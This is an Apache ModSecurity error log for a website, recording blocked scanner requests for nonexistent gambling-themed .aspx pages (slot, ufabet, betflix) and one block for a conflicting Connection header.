[Sat Mar 28 14:13:33.778003 2026] [:error] [pid 34597:tid 34605] [client 51.68.233.43:46846] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acdxjYluI7-e5s1cafdq4wAAAUQ"]
[Sat Mar 28 14:13:36.210168 2026] [:error] [pid 2877:tid 2886] [client 51.68.233.43:46856] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acdxkLgM4xL1Xj409YT4ygAAAQc"]
[Sat Mar 28 14:13:38.805848 2026] [:error] [pid 34631:tid 34674] [client 51.68.233.43:46870] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acdxkjtzjMMS6kojpeS7gQAAAc4"]
[Sat Mar 28 14:13:41.221631 2026] [:error] [pid 64859:tid 64881] [client 51.68.233.43:57412] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acdxlW3qEBHXq3rHdBnwgQAAAAA"]
[Sat Mar 28 14:13:43.770769 2026] [:error] [pid 64860:tid 64914] [client 51.68.233.43:57422] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acdxlxkU3N0pg_4aEL9gXQAAAEY"]
[Sat Mar 28 14:13:46.207644 2026] [:error] [pid 43579:tid 43610] [client 51.68.233.43:57428] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acdxmiRqN4JVI8gB7AnMiwAAAoI"]
[Sat Mar 28 14:13:48.667193 2026] [:error] [pid 2877:tid 2897] [client 51.68.233.43:57442] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "acdxnLgM4xL1Xj409YT40QAAARI"]
[Sat Mar 28 14:13:51.057313 2026] [:error] [pid 43578:tid 43588] [client 51.68.233.43:33438] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acdxn3NG2YdGm41aN8J80QAAAkc"]
[Sat Mar 28 14:13:53.445710 2026] [:error] [pid 34597:tid 34609] [client 51.68.233.43:33450] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acdxoYluI7-e5s1cafdq9QAAAUg"]
[Sat Mar 28 14:13:55.865606 2026] [:error] [pid 64861:tid 64947] [client 51.68.233.43:33466] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "acdxo-xK22_lUN2kvnXgCgAAAIw"]
[Sat Mar 28 14:14:40.910575 2026] [:error] [pid 64860:tid 64927] [client 51.68.233.43:33482] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acdx0BkU3N0pg_4aEL9gkQAAAFM"]
[Sat Mar 28 14:14:43.251810 2026] [:error] [pid 43578:tid 43587] [client 51.68.233.43:46368] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acdx03NG2YdGm41aN8J9EgAAAkY"]
[Sat Mar 28 14:14:45.791705 2026] [:error] [pid 64861:tid 64949] [client 51.68.233.43:46376] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acdx1exK22_lUN2kvnXgXQAAAI4"]
[Sat Mar 28 14:14:48.174843 2026] [:error] [pid 64966:tid 64978] [client 51.68.233.43:46392] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acdx2NfSvF5AFfSuKxUYcQAAAMU"]
[Sat Mar 28 14:14:50.557780 2026] [:error] [pid 64859:tid 64881] [client 51.68.233.43:46400] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acdx2m3qEBHXq3rHdBnxOgAAAAA"]
[Sat Mar 28 14:14:53.091352 2026] [:error] [pid 64861:tid 64944] [client 51.68.233.43:60216] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acdx3exK22_lUN2kvnXgdAAAAIk"]
[Sat Mar 28 14:14:55.465834 2026] [:error] [pid 43578:tid 43596] [client 51.68.233.43:60226] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acdx33NG2YdGm41aN8J9IwAAAk8"]
[Sat Mar 28 14:14:57.991648 2026] [:error] [pid 34597:tid 34612] [client 51.68.233.43:60232] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acdx4YluI7-e5s1cafdrEgAAAUs"]
[Sat Mar 28 14:15:00.359600 2026] [:error] [pid 2877:tid 2888] [client 51.68.233.43:60234] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acdx5LgM4xL1Xj409YT46AAAAQk"]
[Sat Mar 28 14:15:02.901004 2026] [:error] [pid 64859:tid 64888] [client 51.68.233.43:54584] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acdx5m3qEBHXq3rHdBnxVQAAAAc"]
[Sat Mar 28 14:15:05.422670 2026] [:error] [pid 64859:tid 64900] [client 51.68.233.43:54590] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acdx6W3qEBHXq3rHdBnxWQAAABM"]
[Sat Mar 28 14:15:07.779969 2026] [:error] [pid 64860:tid 64921] [client 51.68.233.43:54604] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acdx6xkU3N0pg_4aEL9gpQAAAE0"]
[Sat Mar 28 14:15:10.306422 2026] [:error] [pid 64859:tid 64888] [client 51.68.233.43:54620] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acdx7m3qEBHXq3rHdBnxYgAAAAc"]
[Sat Mar 28 14:15:12.823158 2026] [:error] [pid 2877:tid 2889] [client 51.68.233.43:42884] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acdx8LgM4xL1Xj409YT47QAAAQo"]
[Sat Mar 28 14:15:15.193631 2026] [:error] [pid 64860:tid 64928] [client 51.68.233.43:42898] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acdx8xkU3N0pg_4aEL9gqQAAAFQ"]
[Sat Mar 28 14:15:17.711156 2026] [:error] [pid 43547:tid 43556] [client 51.68.233.43:42912] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acdx9T4ZEfdetXP-9aDY-gAAAgc"]
[Sat Mar 28 14:15:20.243391 2026] [:error] [pid 34631:tid 34668] [client 51.68.233.43:42918] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acdx-DtzjMMS6kojpeS74wAAAcg"]
[Sat Mar 28 14:15:22.610282 2026] [:error] [pid 34631:tid 34675] [client 51.68.233.43:39186] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acdx-jtzjMMS6kojpeS76gAAAc8"]
[Sat Mar 28 14:15:25.124120 2026] [:error] [pid 34631:tid 34681] [client 51.68.233.43:39196] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acdx_TtzjMMS6kojpeS78gAAAdU"]
[Sat Mar 28 14:15:27.520437 2026] [:error] [pid 64861:tid 64940] [client 51.68.233.43:39208] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acdx_-xK22_lUN2kvnXgkgAAAIU"]
[Sat Mar 28 14:15:30.040223 2026] [:error] [pid 34631:tid 34665] [client 51.68.233.43:39220] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acdyAjtzjMMS6kojpeS8AQAAAcU"]
[Sat Mar 28 14:15:32.412357 2026] [:error] [pid 34631:tid 34682] [client 51.68.233.43:49008] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acdyBDtzjMMS6kojpeS8AwAAAdY"]
[Sat Mar 28 14:15:34.938577 2026] [:error] [pid 34597:tid 34623] [client 51.68.233.43:49012] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acdyBoluI7-e5s1cafdrJQAAAVY"]
[Sat Mar 28 14:16:18.472599 2026] [:error] [pid 64859:tid 64881] [client 51.68.233.43:49020] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acdyMm3qEBHXq3rHdBnyEQAAAAA"]
[Sat Mar 28 14:16:20.917199 2026] [:error] [pid 64859:tid 64892] [client 51.68.233.43:50192] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acdyNG3qEBHXq3rHdBnyGQAAAAs"]
[Sat Mar 28 14:16:23.409947 2026] [:error] [pid 34631:tid 34682] [client 51.68.233.43:50200] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acdyNztzjMMS6kojpeS8MwAAAdY"]
[Sat Mar 28 14:16:25.897579 2026] [:error] [pid 64861:tid 64942] [client 51.68.233.43:50210] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acdyOexK22_lUN2kvnXhKAAAAIc"]
[Sat Mar 28 14:16:28.230195 2026] [:error] [pid 43578:tid 43589] [client 51.68.233.43:50226] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acdyPHNG2YdGm41aN8J9egAAAkg"]
[Sat Mar 28 14:16:30.711908 2026] [:error] [pid 43547:tid 43564] [client 51.68.233.43:43238] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acdyPj4ZEfdetXP-9aDZIgAAAg8"]
[Sat Mar 28 14:16:33.223588 2026] [:error] [pid 64860:tid 64922] [client 51.68.233.43:43250] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acdyQRkU3N0pg_4aEL9g2QAAAE4"]
[Sat Mar 28 14:16:35.723310 2026] [:error] [pid 43579:tid 43620] [client 51.68.233.43:43262] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acdyQyRqN4JVI8gB7AnM1QAAAow"]
[Sat Mar 28 14:16:38.038613 2026] [:error] [pid 43578:tid 43597] [client 51.68.233.43:43278] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acdyRnNG2YdGm41aN8J9fAAAAlA"]
[Sat Mar 28 14:16:40.526299 2026] [:error] [pid 64859:tid 64893] [client 51.68.233.43:43284] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acdySG3qEBHXq3rHdBnyMwAAAAw"]
[Sat Mar 28 14:16:42.834559 2026] [:error] [pid 64966:tid 64991] [client 51.68.233.43:54352] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acdyStfSvF5AFfSuKxUYmAAAANI"]
[Sat Mar 28 14:16:45.316128 2026] [:error] [pid 34597:tid 34606] [client 51.68.233.43:54364] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acdyTYluI7-e5s1cafdrPgAAAUU"]
[Sat Mar 28 20:39:51.459930 2026] [:error] [pid 43579:tid 43623] [client 43.130.141.193:38970] [client 43.130.141.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acfMFyRqN4JVI8gB7An1XAAAAo8"]
[Sat Mar 28 20:41:54.340093 2026] [:error] [pid 34631:tid 34664] [client 37.187.27.125:44544] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acfMkjtzjMMS6kojpeRMoAAAAcQ"]
[Sat Mar 28 20:41:58.075391 2026] [:error] [pid 64861:tid 64940] [client 37.187.27.125:57592] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acfMluxK22_lUN2kvnVpQwAAAIU"]
[Sat Mar 28 20:42:01.934707 2026] [:error] [pid 34631:tid 34664] [client 37.187.27.125:58474] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acfMmTtzjMMS6kojpeRMqwAAAcQ"]
[Sat Mar 28 20:42:06.942555 2026] [:error] [pid 64861:tid 64936] [client 37.187.27.125:59596] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acfMnuxK22_lUN2kvnVpVAAAAIE"]
[Sat Mar 28 20:42:10.629176 2026] [:error] [pid 64860:tid 64911] [client 37.187.27.125:60510] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acfMohkU3N0pg_4aEL-dkQAAAEM"]
[Sat Mar 28 20:42:14.199281 2026] [:error] [pid 43547:tid 43558] [client 37.187.27.125:32916] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acfMpj4ZEfdetXP-9aD93gAAAgk"]
[Sat Mar 28 20:42:17.883154 2026] [:error] [pid 64859:tid 64903] [client 37.187.27.125:33682] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acfMqW3qEBHXq3rHdBlS1AAAABY"]
[Sat Mar 28 20:42:23.310663 2026] [:error] [pid 64861:tid 64942] [client 37.187.27.125:35016] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acfMr-xK22_lUN2kvnVpewAAAIc"]
[Sat Mar 28 20:42:27.906373 2026] [:error] [pid 43578:tid 43600] [client 37.187.27.125:35964] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acfMs3NG2YdGm41aN8L3SwAAAlM"]
